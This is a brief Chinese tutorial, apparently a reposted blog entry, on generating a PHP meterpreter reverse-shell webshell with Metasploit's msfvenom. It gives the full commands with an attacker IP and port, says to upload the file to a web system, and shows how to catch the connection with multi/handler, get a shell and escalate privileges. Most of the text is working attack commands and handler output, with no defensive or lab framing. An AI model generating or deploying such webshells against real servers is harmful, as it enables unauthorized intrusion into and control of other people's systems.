Metasploit之生成webshell及应用
参考文献:http://www.huo119.com/post/909.shtm -->比较重要
http://www.itnpc.com/news/web/144954023528337.html -->较为详细,有拓展
http://www.freebuf.com/articles/web/6740.html -->使用“msfpayload”
http://www.myhack58.com/Article/html/3/8/2013/41068.htm -->较少,内容杂乱
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 R > test.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 -f raw > test.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=5555 R > test3.php
以上三个命令生成的php-webshell的回显是一样的,并且文件字节大小也是一样的
命令解析
msfvenom -p -->选用模块
LHOST=192.168.2.146 -->设置反向连接者(攻击者)IP
LPORT=5555 -->设置反向连接者(攻击者)端口
-f -->生成的文件格式
生成文件在Home文件夹下,为test.php
将生成的文件作为php大小马看待上传web系统,之后直接利用metasploit进行连接提权
use exploit/multi/handler -->反弹会话连接
set PAYLOAD php/meterpreter/reverse_tcp -->选用对应的模块
show options -->查看设置选项
set LHOST 192.168.2.146 -->设置攻击者的反向连接IP
set LPORT 4444 -->设置攻击者的反向连接端口(需和webshell的配置一样)
exploit -->执行等待
触发方式就是直接访问我们的webshell地址,返回信息:
[*] Started reverse TCP handler on 192.168.2.146:4444
[*] Starting the payload handler...
访问后即可得到反向连接信息:
meterpreter >
exectue -->执行命令,例如:exectue -h 查看帮助
shell -->获取一个shell
PS:meterpreter下的命令,Windows、Android、webshell基本都是一致的。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论